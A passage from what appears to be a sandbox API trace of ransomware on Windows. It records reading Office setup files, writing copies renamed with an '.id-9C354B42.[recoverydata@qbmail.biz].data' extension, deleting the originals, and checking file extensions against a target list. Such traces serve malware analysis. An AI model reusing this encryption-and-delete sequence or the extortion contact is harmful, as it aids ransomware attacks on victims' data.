lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x620, lpOverlapped=0x0) returned 1 [0089.149] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.149] WriteFile (in: hFile=0x214, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xec, lpOverlapped=0x0) returned 1 [0089.150] SetEndOfFile (hFile=0x214) returned 1 [0089.150] CloseHandle (hObject=0x214) returned 1 [0089.151] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.151] SetEndOfFile (hFile=0x1ac) returned 1 [0089.152] CloseHandle (hObject=0x1ac) returned 1 [0089.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0089.153] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0089.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.154] lstrlenW (lpString=".doc") returned 4 [0089.154] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.154] lstrlenW (lpString=".docx") returned 5 [0089.154] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0089.154] lstrlenW (lpString=".pdf") returned 4 [0089.154] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString=".xls") returned 4 [0089.155] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString=".xlsx") returned 5 [0089.155] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0089.155] lstrlenW (lpString=".ppt") returned 4 [0089.155] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.155] lstrlenW (lpString=".zip") returned 4 [0089.155] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.155] lstrlenW (lpString=".rar") returned 4 [0089.155] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString=".bz2") returned 4 [0089.155] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString=".7z") returned 3 [0089.155] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.155] lstrlenW (lpString=".dbf") returned 4 [0089.155] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.155] lstrlenW (lpString=".1cd") returned 4 [0089.155] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.156] lstrlenW (lpString=".jpg") returned 4 [0089.156] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.156] lstrlenW (lpString=".doc") returned 4 [0089.156] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.156] lstrlenW (lpString=".docx") returned 5 [0089.156] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0089.156] lstrlenW (lpString=".pdf") returned 4 [0089.156] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.156] lstrlenW (lpString=".xls") returned 4 [0089.156] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.156] lstrlenW (lpString=".xlsx") returned 5 [0089.156] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0089.156] lstrlenW (lpString=".ppt") returned 4 [0089.156] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.156] lstrlenW (lpString=".zip") returned 4 [0089.156] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.156] lstrlenW (lpString=".rar") returned 4 [0089.156] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.156] lstrlenW (lpString=".bz2") returned 4 [0089.156] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.157] lstrlenW (lpString=".7z") returned 3 [0089.157] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.157] lstrlenW (lpString=".dbf") returned 4 [0089.157] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.157] lstrlenW (lpString=".1cd") returned 4 [0089.157] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0089.157] lstrlenW (lpString=".jpg") returned 4 [0089.157] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.157] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0089.157] lstrlenW (lpString="SETUP.XML") returned 9 [0089.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0089.182] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2296) returned 1 [0089.182] CloseHandle (hObject=0x1fc) returned 1 [0089.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0089.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0089.183] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.183] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0089.186] GetLastError () returned 0x0 [0089.186] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0089.210] WriteFile (in: hFile=0x21c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x900, lpOverlapped=0x0) returned 1 [0089.212] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.212] WriteFile (in: hFile=0x21c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0089.212] SetEndOfFile (hFile=0x21c) returned 1 [0089.212] CloseHandle (hObject=0x21c) returned 1 [0089.214] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.214] SetEndOfFile (hFile=0x1fc) returned 1 [0089.215] CloseHandle (hObject=0x1fc) returned 1 [0089.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0089.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0089.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.217] lstrlenW (lpString=".doc") returned 4 [0089.217] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.217] lstrlenW (lpString=".docx") returned 5 [0089.217] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.217] lstrlenW (lpString=".pdf") returned 4 [0089.217] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.217] lstrlenW (lpString=".xls") returned 4 [0089.217] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.217] lstrlenW (lpString=".xlsx") returned 5 [0089.217] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.217] lstrlenW (lpString=".ppt") returned 4 [0089.218] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.218] lstrlenW (lpString=".zip") returned 4 [0089.218] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.218] lstrlenW (lpString=".rar") returned 4 [0089.218] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.218] lstrlenW (lpString=".bz2") returned 4 [0089.218] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.218] lstrlenW (lpString=".7z") returned 3 [0089.218] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.219] lstrlenW (lpString=".dbf") returned 4 [0089.219] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.219] lstrlenW (lpString=".1cd") returned 4 [0089.219] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.219] lstrlenW (lpString=".jpg") returned 4 [0089.219] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.219] lstrlenW (lpString=".doc") returned 4 [0089.220] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.220] lstrlenW (lpString=".docx") returned 5 [0089.220] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.220] lstrlenW (lpString=".pdf") returned 4 [0089.220] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.220] lstrlenW (lpString=".xls") returned 4 [0089.220] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.220] lstrlenW (lpString=".xlsx") returned 5 [0089.220] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.220] lstrlenW (lpString=".ppt") returned 4 [0089.220] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.220] lstrlenW (lpString=".zip") returned 4 [0089.221] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.221] lstrlenW (lpString=".rar") returned 4 [0089.221] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.221] lstrlenW (lpString=".bz2") returned 4 [0089.221] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.221] lstrlenW (lpString=".7z") returned 3 [0089.221] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.221] lstrlenW (lpString=".dbf") returned 4 [0089.221] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.221] lstrlenW (lpString=".1cd") returned 4 [0089.222] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0089.222] lstrlenW (lpString=".jpg") returned 4 [0089.222] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.222] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0089.223] lstrlenW (lpString="SETUP.XML") returned 9 [0089.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0090.288] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=1852) returned 1 [0090.288] CloseHandle (hObject=0x1fc) returned 1 [0090.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0090.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0090.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0090.289] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.289] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0090.290] GetLastError () returned 0x0 [0090.290] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x73c, lpOverlapped=0x0) returned 1 [0090.717] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x740, lpOverlapped=0x0) returned 1 [0090.718] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.718] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0090.719] SetEndOfFile (hFile=0x18c) returned 1 [0090.719] CloseHandle (hObject=0x18c) returned 1 [0090.720] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.720] SetEndOfFile (hFile=0x1fc) returned 1 [0090.721] CloseHandle (hObject=0x1fc) returned 1 [0090.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.721] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.722] lstrlenW (lpString=".doc") returned 4 [0090.722] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString=".docx") returned 5 [0090.722] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0090.722] lstrlenW (lpString=".pdf") returned 4 [0090.722] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString=".xls") returned 4 [0090.722] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString=".xlsx") returned 5 [0090.722] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0090.722] lstrlenW (lpString=".ppt") returned 4 [0090.722] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.722] lstrlenW (lpString=".zip") returned 4 [0090.722] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.722] lstrlenW (lpString=".rar") returned 4 [0090.722] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString=".bz2") returned 4 [0090.722] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString=".7z") returned 3 [0090.722] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.722] lstrlenW (lpString=".dbf") returned 4 [0090.722] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.722] lstrlenW (lpString=".1cd") returned 4 [0090.723] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.723] lstrlenW (lpString=".jpg") returned 4 [0090.723] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.723] lstrlenW (lpString=".doc") returned 4 [0090.723] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.723] lstrlenW (lpString=".docx") returned 5 [0090.723] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0090.723] lstrlenW (lpString=".pdf") returned 4 [0090.723] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.723] lstrlenW (lpString=".xls") returned 4 [0090.723] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.723] lstrlenW (lpString=".xlsx") returned 5 [0090.723] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0090.723] lstrlenW (lpString=".ppt") returned 4 [0090.723] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.723] lstrlenW (lpString=".zip") returned 4 [0090.723] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.724] lstrlenW (lpString=".rar") returned 4 [0090.724] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.724] lstrlenW (lpString=".bz2") returned 4 [0090.724] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.724] lstrlenW (lpString=".7z") returned 3 [0090.724] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.724] lstrlenW (lpString=".dbf") returned 4 [0090.724] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.724] lstrlenW (lpString=".1cd") returned 4 [0090.724] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0090.724] lstrlenW (lpString=".jpg") returned 4 [0090.724] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.724] lstrcmpiW (lpString1=".CHM", lpString2=".data") returned -1 [0090.724] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0090.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0090.776] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=37689) returned 1 [0090.776] CloseHandle (hObject=0x1fc) returned 1 [0090.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0090.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0090.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 